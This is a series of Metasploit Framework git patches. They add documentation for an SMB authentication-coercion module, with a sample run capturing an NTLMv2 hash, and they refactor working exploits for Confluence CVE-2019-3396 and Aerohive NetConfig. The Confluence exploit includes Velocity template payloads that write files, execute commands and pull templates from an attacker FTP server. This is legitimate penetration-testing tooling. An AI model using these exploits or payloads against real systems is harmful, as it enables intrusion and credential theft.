- win32_error = ::WindowsError::Win32.find_by_retval(e.error_status).first - case win32_error + case e.status_code when ::WindowsError::Win32::ERROR_ACCESS_DENIED # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.) print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful') when ::WindowsError::Win32::ERROR_BAD_NETPATH # this should be the response even if LISTENER was inaccessible print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful') - when nil - print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}") else - print_status("Server responded with #{win32_error.name} (#{win32_error.description})") + print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})") end end end From c67432b20d362d2822ba8a84a70e54ac914ce12c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jun 2022 17:25:32 -0400 Subject: [PATCH 18/79] Add the documentation for dfscoerce --- .../auxiliary/scanner/dcerpc/dfscoerce.md | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md diff --git a/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md b/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md new file mode 100644 index 000000000000..f46d7d0978fd --- /dev/null +++ b/documentation/modules/auxiliary/scanner/dcerpc/dfscoerce.md @@ -0,0 +1,62 @@ +## Vulnerable Application + +Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/scanner/dcerpc/dfscoerce` +4. Set the `RHOSTS` and `LISTENER` options +5. Set the `SMBUser`, `SMBPass` for authentication +6. (Optional) Set the `METHOD` options to adjust the trigger vector +7. Do: `run` + +## Options + +### LISTENER +The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host +should be hosting some kind of capture or relaying service. + +### METHOD +The RPC method to use for triggering. + +## Scenarios + +### Windows Server 2019 +In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine +account. The target is a 64-bit Windows Server 2019 domain controller. + +``` +msf6 > use auxiliary/server/capture/smb +msf6 auxiliary(server/capture/smb) > run +[*] Auxiliary module running as background job 0. +msf6 auxiliary(server/capture/smb) > +[*] Server is running. Listening on 0.0.0.0:445 +[*] Server started. + +msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce +msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96 +RHOSTS => 192.168.159.96 +msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true +VERBOSE => true +msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle +SMBUser => aliddle +msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1 +SMBPass => Password1 +msf6 auxiliary(scanner/dcerpc/dfscoerce) > run + +[*] 192.168.159.96:445 - Connecting to Distributed File System (DFS) Namespace Management Protocol +[*] 192.168.159.96:445 - Binding to \netdfs... +[+] 192.168.159.96:445 - Bound to \netdfs +[+] Received SMB connection on Auth Capture Server! +[SMB] NTLMv2-SSP Client : 192.168.250.237 +[SMB] NTLMv2-SSP Username : MSFLAB\WIN-3MSP8K2LCGC$ +[SMB] NTLMv2-SSP Hash : WIN-3MSP8K2LCGC$::MSFLAB:971293df35be0d1c:804d2d329912e92a442698d0c6c94f08:01010000000000000088afa3c78cd801bc3c7ed684c95125000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f0055005000070008000088afa3c78cd80106000400020000000800300030000000000000000000000000400000f0ba0ee40cb1f6efed7ad8606610712042fbfffb837f66d85a2dfc3aa03019b00a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000 + +[+] 192.168.159.96:445 - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful +[*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/dcerpc/dfscoerce) > +``` From 60da336ad451e6cc9edc1d3028bcd46507224e23 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 30 Jun 2022 17:38:30 -0400 Subject: [PATCH 19/79] Fix a silly typo --- modules/auxiliary/scanner/dcerpc/dfscoerce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb index d56a868ed0d1..c7ae22fe00cf 100644 --- a/modules/auxiliary/scanner/dcerpc/dfscoerce.rb +++ b/modules/auxiliary/scanner/dcerpc/dfscoerce.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary Dfsnm = RubySMB::Dcerpc::Dfsnm - METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRootResponse].freeze + METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze def initialize super( From 1856baf4b92fd74940d0ef748e82c4684ff0cb97 Mon Sep 17 00:00:00 2001 From: yvain Date: Fri, 1 Jul 2022 06:35:09 +0200 Subject: [PATCH 20/79] censys host search will output certificates to be used with certificates search. --- modules/auxiliary/gather/censys_search.rb | 62 +++++++++++++---------- 1 file changed, 35 insertions(+), 27 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index 8c18ff083d49..51370585a1f8 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -58,7 +58,7 @@ def search(keyword, search_type) elsif @searchtype.include?('certificates') response = @cli.request_cgi( 'method' => 'GET', - 'uri' => "/api/v1/view/certificates?#{keyword}", + 'uri' => "/api/v1/view/certificates/#{keyword}", 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, ) res = @cli.send_recv(response) @@ -74,12 +74,11 @@ def search(keyword, search_type) end records = ActiveSupport::JSON.decode(res.body) - results = records['result'] if @searchtype.include?('certificates') - parse_certificates(results) + parse_certificates(records) elsif @searchtype.include?('ipv4') - parse_ipv4(results) + parse_ipv4(records['result']) end end def valid_domain?(domain) @@ -95,40 +94,49 @@ def domain2ip(domain) ips end - def parse_certificates(records) + def parse_certificates(certificate) ips = [] - records['hits'].each do |certificate| - # parsed.fingerprint_sha256 - # parsed.subject_dn - # parsed.issuer_dn - subject_dn = certificate['parsed.subject_dn'].join(',') - next unless subject_dn.include?('CN=') - - host = subject_dn.split('CN=')[1] - if Rex::Socket.is_ipv4?(host) - ips << host - elsif valid_domain?(host) # Fake DNS server - ips |= domain2ip(host) - end + # parsed.fingerprint_sha256 + # parsed.subject_dn + # parsed.issuer_dn + subject_dn = certificate['parsed']['subject_dn'] + return unless subject_dn.include?('CN=') + + host = subject_dn.split('CN=')[1] + if Rex::Socket.is_ipv4?(host) + ips << host + elsif valid_domain?(host) # Fake DNS server + ips |= domain2ip(host) + end - ips.each do |ip| - print_good("#{ip} - #{subject_dn}") - report_host(:host => ip, :info => subject_dn) - end + ips.each do |ip| + print_good("#{ip} - #{subject_dn}") + report_host(:host => ip, :info => subject_dn) end end def parse_ipv4(records) - records['hits'].each do |ipv4| + return unless records['hits'] + records['hits'].each do |ipv4| ip = ipv4['ip'] - protocols = ipv4['services'] - protocols.each do |protocol| - port = protocol['port'] - name = protocol['service_name'] + services = ipv4['services'] + ports = [] + services.each do |service| + port = service['port'] + name = service['service_name'] + certificate = service['certificate'] + if certificate + print_good("#{ipv4['ip']} - #{port} - #{name} - #{certificate}") + end report_service(:host => ip, :port => port, :name => name) + ports.append(port) + end + if ports != nil + print_good("#{ip} - #{ports.join(',')}") end end end + # Check to see if www.censys.io resolves properly def censys_resolvable? begin From b56242c7a2512bae774ce8c83332b644e3884e5d Mon Sep 17 00:00:00 2001 From: kalba-security Date: Fri, 1 Jul 2022 06:15:13 -0400 Subject: [PATCH 21/79] enable MeterpreterTryToFork by default for aerohive_netconfig_lfi_log_poison_rce --- .../unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md | 7 +++---- .../unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb | 9 ++++++--- 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md b/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md index 369bfa4d86a4..a3404e480e84 100644 --- a/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md +++ b/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md @@ -19,10 +19,9 @@ This request includes two POST parameters: 2. The parameter that is used to execute commands via `/tmp/messages`. In our example the name would be `cmd`, but the module sets this to an arbitrary value. -Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. -Closing the session should render the app responsive again. It is also possible that enabling the meterpreter option -'TryToFork` might prevent the application hang after exploitation, but given access constraints we were unable to verify the -resultant behavior for enabling that option. Try at your own risk (but let us know how it goes if you do). +Upon successful exploitation, the Aerohive NetConfig application may hang for as long as the spawned shell remains open. +If the Linux target is selected with a meterpreter payload, the `MeterpreterTryToFork` option is likely to prevent this, +and is therefore enabled by default. If the app does hang, closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, diff --git a/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb b/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb index 7f25d9a7cc98..e73d936f0183 100644 --- a/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb +++ b/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb @@ -26,8 +26,10 @@ def initialize(info = {}) issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application - will hang for as long as the spawned shell remains open. Closing - the session should render the app responsive again. + may hang for as long as the spawned shell remains open. For the + Linux target, the MeterpreterTryToFork option (enabled by default) + will likely prevent this. If the app hangs, closing the session + should render it responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications @@ -59,7 +61,8 @@ def initialize(info = {}) 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', - 'CMDSTAGER::FLAVOR' => 'curl' + 'CMDSTAGER::FLAVOR' => 'curl', + 'MeterpreterTryToFork' => true # prevent the web server from hanging when we get a meterpreter session } } ], From f6b6ad4bf1d27079be35aa245413399758f4ca60 Mon Sep 17 00:00:00 2001 From: kalba-security Date: Fri, 1 Jul 2022 07:37:54 -0400 Subject: [PATCH 22/79] prevent confluence_widget_connector from crashing when the response body in get_java_property is empty --- .../multi/http/confluence_widget_connector.rb | 41 +++++++++++-------- 1 file changed, 24 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index d144c13337c9..d35b4c4a469d 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -245,14 +245,18 @@ def inject_template(service_url, timeout=20) # Returns a system property for Java. # # @param prop [String] Name of the property to retrieve. - # @return [String] + # @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String). def get_java_property(prop) @prop = prop res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm") if res && res.body - return clear_response(res.body) + if res.body.empty? + return [2] + else + return [0, clear_response(res.body)] + end end - '' + [1] end # Returns the target platform. @@ -325,9 +329,9 @@ def normalize_payload_fname(tmp_path, fname) # @return [void] def exploit_as_java - tmp_path = get_tmp_path + res_code, tmp_path = get_tmp_path - if tmp_path.blank? + unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end @@ -335,12 +339,12 @@ def exploit_as_java @b64 = Rex::Text.encode_base64(payload.encoded_jar) @command = '' - java_home = get_java_home_path + res_code, java_home = get_java_home_path - if java_home.blank? - fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') - else + if res_code == 0 vprint_status("Found Java home path: #{java_home}") + else + fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') end register_files_for_cleanup(@fname) @@ -366,9 +370,9 @@ def exploit_as_java # # @return [void] def exploit_as_windows - tmp_path = get_tmp_path + res_code, tmp_path = get_tmp_path - if tmp_path.blank? + unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end @@ -395,9 +399,9 @@ def exploit_as_windows # # @return [void] def exploit_as_linux - tmp_path = get_tmp_path + res_code, tmp_path = get_tmp_path - if tmp_path.blank? + unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end @@ -427,11 +431,14 @@ def exploit print_status("Starting the FTP server.") start_service - target_platform = get_target_platform - if target_platform.empty? - fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".') - else + res_code, target_platform = get_target_platform + case res_code + when 0 print_status("Target being detected as: #{target_platform}") + when 1 + fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".') + when 2 + fail_with(Failure::NoTarget, 'Failed to obtain the target OS because the HTTP response body was empty.') end unless target_platform_compat?(target_platform) From 17f82a900eeee77742aef69bb71f7d809cb3c186 Mon Sep 17 00:00:00 2001 From: kalba-security Date: Fri, 1 Jul 2022 08:43:47 -0400 Subject: [PATCH 23/79] linting for confluence_widget_connecter and add catch for all scenarios where clear_response returns nil --- .../multi/http/confluence_widget_connector.rb | 250 +++++++++--------- 1 file changed, 123 insertions(+), 127 deletions(-) diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb index d35b4c4a469d..130f871eb072 100644 --- a/modules/exploits/multi/http/confluence_widget_connector.rb +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -11,76 +11,83 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::FtpServer - def initialize(info={}) - super(update_info(info, - 'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection", - 'Description' => %q{ - Widget Connector Macro is part of Atlassian Confluence Server and Data Center that - allows embed online videos, slideshows, photostreams and more directly into page. - A _template parameter can be used to inject remote Java code into a Velocity template, - and gain code execution. Authentication is unrequired to exploit this vulnerability. - By default, Java payload will be used because it is cross-platform, but you can also - specify which native payload you want (Linux or Windows). - - Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version - 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. - - This vulnerability was originally discovered by Daniil Dmitriev - https://twitter.com/ddv_ua. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Daniil Dmitriev', # Discovering vulnerability - 'Dmitry (rrock) Shchannikov' # Metasploit module + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection', + 'Description' => %q{ + Widget Connector Macro is part of Atlassian Confluence Server and Data Center that + allows embed online videos, slideshows, photostreams and more directly into page. + A _template parameter can be used to inject remote Java code into a Velocity template, + and gain code execution. Authentication is unrequired to exploit this vulnerability. + By default, Java payload will be used because it is cross-platform, but you can also + specify which native payload you want (Linux or Windows). + + Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version + 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. + + This vulnerability was originally discovered by Daniil Dmitriev + https://twitter.com/ddv_ua. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Daniil Dmitriev', # Discovering vulnerability + 'Dmitry (rrock) Shchannikov' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2019-3396' ], [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ], [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'], [ 'URL', 'https://paper.seebug.org/886/'] ], - 'Targets' => - [ - [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], - [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], - [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] + 'Targets' => [ + [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], + [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], + [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'RPORT' => 8090, - 'SRVPORT' => 8021, + 'SRVPORT' => 8021 }, - 'Privileged' => false, - 'DisclosureDate' => '2019-03-25', - 'DefaultTarget' => 0, - 'Stance' => Msf::Exploit::Stance::Aggressive - )) + 'Privileged' => false, + 'DisclosureDate' => '2019-03-25', + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) register_options( [ OptAddress.new('SRVHOST', [true, 'Callback address for template loading']), OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), - OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability', - 'https://www.youtube.com/watch?v=kxopViU98Xo']) - ]) + OptString.new('TRIGGERURL', [ + true, 'Url to external video service to trigger vulnerability', + 'https://www.youtube.com/watch?v=kxopViU98Xo' + ]) + ] + ) end # Handles ftp RETP command. # - # @param c [Socket] Control connection socket. + # @param ccs [Socket] Control connection socket. # @param arg [String] RETR argument. # @return [void] - def on_client_command_retr(c, arg) + def on_client_command_retr(ccs, arg) vprint_status("FTP download request for #{arg}") - conn = establish_data_connection(c) - if(not conn) - c.put("425 Can't build data connection\r\n") + conn = establish_data_connection(ccs) + if !conn + ccs.put("425 Can't build data connection\r\n") return end - c.put("150 Opening BINARY mode data connection for #{arg}\r\n") + ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n") case arg when /check\.vm$/ conn.put(wrap(get_check_vm)) @@ -93,83 +100,73 @@ def on_client_command_retr(c, arg) else conn.put(wrap(get_dummy_vm)) end - c.put("226 Transfer complete.\r\n") + ccs.put("226 Transfer complete.\r\n") conn.close end # Handles ftp PASS command to suppress output. # - # @param c [Socket] Control connection socket. + # @param ccs [Socket] Control connection socket. # @param arg [String] PASS argument. # @return [void] - def on_client_command_pass(c, arg) - @state[c][:pass] = arg - vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}") - c.put "230 Login OK\r\n" + def on_client_command_pass(ccs, arg) + @state[ccs][:pass] = arg + vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}") + ccs.put "230 Login OK\r\n" end # Handles ftp EPSV command to suppress output. # - # @param c [Socket] Control connection socket. + # @param ccs [Socket] Control connection socket. # @param arg [String] EPSV argument. # @return [void] - def on_client_command_epsv(c, arg) - vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'") - c.put("500 'EPSV #{arg}': command not understood.\r\n") + def on_client_command_epsv(ccs, arg) + vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'") + ccs.put("500 'EPSV #{arg}': command not understood.\r\n") end # Returns a upload template. # # @return [String] def get_upload_vm - ( - <<~EOF - $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) - EOF - ) + <<~EOF + $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) + EOF end # Returns a command execution template. # # @return [String] def get_exec_vm - ( - <<~EOF - $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() - EOF - ) + <<~EOF + $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() + EOF end # Returns checking template. # # @return [String] def get_check_vm - ( - <<~EOF - #{@check_text} - EOF - ) + <<~EOF + #{@check_text} + EOF end # Returns Java's getting property template. # # @return [String] def get_javaprop_vm - ( - <<~EOF - $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() - EOF - ) + <<~EOF + $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() + EOF end # Returns dummy template. # # @return [String] def get_dummy_vm - ( - <<~EOF - EOF - ) + <<~EOF + EOF end # Checks the vulnerability. @@ -179,7 +176,7 @@ def check checkcode = Exploit::CheckCode::Safe begin # Start the FTP service - print_status("Starting the FTP server.") + print_status('Starting the FTP server.') start_service @check_text = Rex::Text.rand_text_alpha(5..10) @@ -198,9 +195,8 @@ def check # # @param service_url [String] Address of template to injection. # @return [void] - def inject_template(service_url, timeout=20) - - uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') + def inject_template(service_url, timeout = 20) + uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') res = send_request_cgi({ 'method' => 'POST', @@ -209,23 +205,23 @@ def inject_template(service_url, timeout=20) 'Accept' => '*/*', 'Origin' => full_uri(vhost_uri: true) }, - 'ctype' => 'application/json; charset=UTF-8', - 'data' => { - 'contentId' => '1', - 'macro' => { - 'name' => 'widget', - 'body' => '', - 'params' => { - 'url' => datastore['TRIGGERURL'], - '_template' => service_url - } - - } - }.to_json - }, timeout=timeout) + 'ctype' => 'application/json; charset=UTF-8', + 'data' => { + 'contentId' => '1', + 'macro' => { + 'name' => 'widget', + 'body' => '', + 'params' => { + 'url' => datastore['TRIGGERURL'], + '_template' => service_url + } + + } + }.to_json + }, timeout) unless res - unless service_url.include?("exec.vm") + unless service_url.include?('exec.vm') print_warning('Connection timed out in #inject_template') end return @@ -234,7 +230,7 @@ def inject_template(service_url, timeout=20) if res.body.include? 'widget-error' print_error('Failed to inject and execute code:') else - vprint_status("Server response:") + vprint_status('Server response:') end vprint_line(res.body) @@ -253,7 +249,12 @@ def get_java_property(prop) if res.body.empty? return [2] else - return [0, clear_response(res.body)] + prop_to_return = clear_response(res.body) + if prop_to_return.blank? + return [2] + else + return [0, prop_to_return] + end end end [1] @@ -303,7 +304,7 @@ def get_java_home_path # @param new_fname [String] The new file # @return [void] def get_dup_file_code(fname, new_fname) - if fname =~ /^\/[[:print:]]+/ + if fname =~ %r{^/[[:print:]]+} @command = "cp #{fname} #{new_fname}" else @command = "cmd.exe /C copy #{fname} #{new_fname}" @@ -316,8 +317,8 @@ def get_dup_file_code(fname, new_fname) # # @return [String] def normalize_payload_fname(tmp_path, fname) - # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. - if /^\/[[:print:]]+/ === tmp_path + # A quick way to check platform instead of actually grabbing os.name in Java system properties. + if tmp_path =~ %r{^/[[:print:]]+} Rex::FileUtils.normalize_unix_path(tmp_path, fname) else Rex::FileUtils.normalize_win_path(tmp_path, fname) @@ -328,16 +329,15 @@ def normalize_payload_fname(tmp_path, fname) # # @return [void] def exploit_as_java - res_code, tmp_path = get_tmp_path unless res_code == 0 fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") - @b64 = Rex::Text.encode_base64(payload.encoded_jar) - @command = '' + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") + @b64 = Rex::Text.encode_base64(payload.encoded_jar) + @command = '' res_code, java_home = get_java_home_path @@ -349,23 +349,22 @@ def exploit_as_java register_files_for_cleanup(@fname) - if /^\/[[:print:]]+/ === @fname + if @fname =~ %r{^/[[:print:]]+} normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java') - @command = %Q|#{normalized_java_path} -jar #{@fname}| + @command = %(#{normalized_java_path} -jar #{@fname}) else normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe') @fname.gsub!(/Program Files/, 'PROGRA~1') - @command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}| + @command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname}) end print_status("Attempting to upload #{@fname}") inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm") print_status("Attempting to execute #{@fname}") - inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5) end - # Exploits the target in Windows platform. # # @return [void] @@ -376,9 +375,9 @@ def exploit_as_windows fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) - @fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") - new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe") + new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe") @fname.gsub!(/Program Files/, 'PROGRA~1') new_fname.gsub!(/Program Files/, 'PROGRA~1') register_files_for_cleanup(@fname, new_fname) @@ -391,10 +390,9 @@ def exploit_as_windows print_status("Attempting to execute #{new_fname}") @command = new_fname - inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5) end - # Exploits the target in Linux platform. # # @return [void] @@ -405,8 +403,8 @@ def exploit_as_linux fail_with(Failure::Unknown, 'Unable to get the temp path.') end - @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) - @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) register_files_for_cleanup(@fname, new_fname) @@ -421,14 +419,14 @@ def exploit_as_linux print_status("Attempting to execute #{new_fname}") @command = new_fname - inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5) end def exploit @wrap_marker = Rex::Text.rand_text_alpha(5..10) # Start the FTP service - print_status("Starting the FTP server.") + print_status('Starting the FTP server.') start_service res_code, target_platform = get_target_platform @@ -438,7 +436,7 @@ def exploit when 1 fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".') when 2 - fail_with(Failure::NoTarget, 'Failed to obtain the target OS because the HTTP response body was empty.') + fail_with(Failure::NoTarget, 'Failed to obtain the target OS.') end unless target_platform_compat?(target_platform) @@ -464,10 +462,8 @@ def wrap(string) # Returns unwrapped response. # - # @return [String] + # @return [String, nil] def clear_response(string) - if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m) - return match.captures[0] - end + string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first end end From 48598b8c5bcea081ab55d86669939b6e0b76d443 Mon Sep 17 00:00:00 2001 From: kalba-security Date: Fri, 1 Jul 2022 10:27:51 -0400 Subject: [PATCH 24/79] correct CVE and add linting for weblogic_deserialize_asyncresponseservice --- ...blogic_deserialize_asyncresponseservice.rb | 188 ++++++++++-------- 1 file changed, 101 insertions(+), 87 deletions(-) diff --git a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb index fe961af320fc..7b352ed51e83 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb @@ -9,62 +9,76 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell - def initialize(info={}) - super(update_info(info, - 'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', - 'Description' => %q{ - An unauthenticated attacker with network access to the Oracle Weblogic Server T3 - interface can send a malicious SOAP request to the interface WLS AsyncResponseService - to execute code on the vulnerable host. - }, - 'Author' => - [ - 'Andres Rodriguez - 2Secure (@acamro) ', # Metasploit Module + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', + 'Description' => %q{ + An unauthenticated attacker with network access to the Oracle Weblogic Server T3 + interface can send a malicious SOAP request to the interface WLS 